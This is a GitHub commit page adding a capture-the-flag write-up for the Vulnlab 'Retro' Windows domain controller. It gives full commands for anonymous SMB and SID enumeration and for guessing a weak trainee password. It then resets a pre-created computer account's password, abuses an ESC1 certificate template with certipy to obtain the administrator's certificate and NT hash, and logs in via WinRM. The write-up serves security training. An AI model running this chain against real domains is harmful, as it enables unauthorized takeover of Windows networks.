mirror of
https://github.com/AbdullahRizwan101/CTF-Writeups
synced 2024-11-22 03:53:03 +00:00
Create Retro.md
This commit is contained in:
ARZ
GitHub
parent
5f47fca6a1
commit
2e50363ddd
1 changed files with 138 additions and 0 deletions
138
Vulnlab/Retro.md
Normal file
138
Vulnlab/Retro.md
Normal file
|
|
@ -0,0 +1,138 @@
|
|||
# Vulnlab - Retro
|
||||
|
||||
## NMAP
|
||||
|
||||
```bash
|
||||
PORT STATE SERVICE VERSION
|
||||
53/tcp open tcpwrapped
|
||||
88/tcp open kerberos-sec Microsoft Windows Kerberos
|
||||
135/tcp open tcpwrapped
|
||||
139/tcp open tcpwrapped
|
||||
445/tcp open tcpwrapped
|
||||
593/tcp open tcpwrapped
|
||||
636/tcp open tcpwrapped
|
||||
| ssl-cert: Subject: commonName=DC.retro.vl
|
||||
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.retro.vl
|
||||
| Issuer: commonName=retro-DC-CA
|
||||
| Public Key type: rsa
|
||||
| Public Key bits: 2048
|
||||
| Signature Algorithm: sha256WithRSAEncryption
|
||||
| Not valid before: 2023-07-23T21:06:31
|
||||
| Not valid after: 2024-07-22T21:06:31
|
||||
| MD5: c1f0bac716e071c2bcb943273d569612
|
||||
|_SHA-1: 7f37ea6965982430f9180a65bcadde76add6fea6
|
||||
3389/tcp open tcpwrapped
|
||||
| ssl-cert: Subject: commonName=DC.retro.vl
|
||||
| Issuer: commonName=DC.retro.vl
|
||||
| Public Key type: rsa
|
||||
| Public Key bits: 2048
|
||||
| Signature Algorithm: sha256WithRSAEncryption
|
||||
| Not valid before: 2023-07-25T09:53:42
|
||||
| Not valid after: 2024-01-24T09:53:42
|
||||
| MD5: 89ccbcee0485b170bbd1ebee3de93784
|
||||
|_SHA-1: 2bfca683288bc59e2d2f9ffe01775d871c8c272d
|
||||
9389/tcp open tcpwrapped
|
||||
49664/tcp open tcpwrapped
|
||||
49672/tcp open tcpwrapped
|
||||
49683/tcp open tcpwrapped
|
||||
49708/tcp open tcpwrapped
|
||||
```
|
||||
|
||||
On Enumerating SMB with null authentication we can find few shares
|
||||
|
||||
<img src="https://i.imgur.com/hsCNCzc.png"/>
|
||||
|
||||
From the `Trainees` share, we'll get `Important.txt` which talks about having weak passwords on the trainees account and also mentions about bundling all of their account into one general `trainee` account
|
||||
|
||||
<img src="https://i.imgur.com/KSVl5Ad.png"/>
|
||||
|
||||
So verifying if the account is trainee through `kebrute`
|
||||
|
||||
```bash
|
||||
kerbrute userenum --dc 10.10.108.245 -d retro.vl user.txt
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/qc50pOw.png"/>
|
||||
|
||||
We could have figured this out without guessing as well through lookupsid.py from impacket with anonymous user
|
||||
|
||||
```bash
|
||||
lookupsid.py anonymous@10.10.99.152 -no-pass
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/OpoCNLA.png"/>
|
||||
|
||||
Since this account has a weak password, we can try common things like password being trainee, verifying it through `crackmapexec`
|
||||
|
||||
```bash
|
||||
cme smb 10.10.99.152 -u 'trainee' -p 'trainee' --shares
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/652HK94.png"/>
|
||||
|
||||
We can now access `Notes` share and find a ToDo.txt file which talks about pre-created computer accounts
|
||||
|
||||
<img src="https://i.imgur.com/mEc0UR2.png"/>
|
||||
|
||||
<img src="https://i.imgur.com/ZRsMc7m.png"/>
|
||||
https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/
|
||||
|
||||
If we go back to the output of lookupsid, we'll see a computer account `BANKING$`
|
||||
|
||||
<img src="https://i.imgur.com/vZMirvK.png"/>
|
||||
The password for this account is the same as the name, on trying to login, it will show `STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT`
|
||||
|
||||
<img src="https://i.imgur.com/EQuQGaE.png"/>
|
||||
|
||||
In order to use this account, we need to change the password and this can be done through `kpasswd` which requires `/etc/krb.conf` to be modified
|
||||
|
||||
<img src="https://i.imgur.com/XVq9dTs.png"/>
|
||||
|
||||
```
|
||||
kpasswd BANKING$
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/XzyJKT4.png"/>
|
||||
|
||||
This can be verified again with cme that the password has been changed
|
||||
|
||||
<img src="https://i.imgur.com/4WqhYDX.png"/>
|
||||
|
||||
Enumerating ADCS with `certipy` , we see that authenticated users have enrollment rights but there isn't any template which be used with trainee user
|
||||
|
||||
<img src="https://i.imgur.com/Dn2l9l4.png"/>
|
||||
|
||||
However checking the BANKING$ account, there's a template `RetroClients` on which domain computer have enrollment rights which can allow the machine accounts to enroll certificate on behalf of other users leading to ESC1 attack
|
||||
|
||||
```bash
|
||||
certipy find -u 'BANKING$' -p 'Pass' -dc-ip 10.10.99.152 -stdout -vulnerable
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/4N8TaGP.png"/>
|
||||
|
||||
On requesting administrator's certificate, it's going to show an error that it doesn't meet the minimum key size which by default certipy sends with 2048 length
|
||||
|
||||
<img src="https://i.imgur.com/iVIZR00.png"/>
|
||||
|
||||
Specifying the key size to be of 4096 will resolve this issue
|
||||
|
||||
```bash
|
||||
certipy req -u 'banking$'@retro.vl -p 'P@ss12345' -c 'retro-DC-CA' -target 'dc.retro.vl' -template 'RetroClients' -upn 'administrator' -key-size 4096
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/Z8njyv9.png"/>
|
||||
|
||||
With this certificate, administrator's hash can be retrieved
|
||||
|
||||
```bash
|
||||
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'retro.vl' -dc-ip 10.10.99.152
|
||||
```
|
||||
|
||||
<img src="https://i.imgur.com/uOMiJ0s.png"/>
|
||||
|
||||
Through `evil-winrm` we can login on WinRM using the NThash of administrator
|
||||
|
||||
<img src="https://i.imgur.com/eDwld0C.png"/>
|
||||
## References
|
||||
|
||||
- https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/
|
||||
Loading…
Reference in a new issue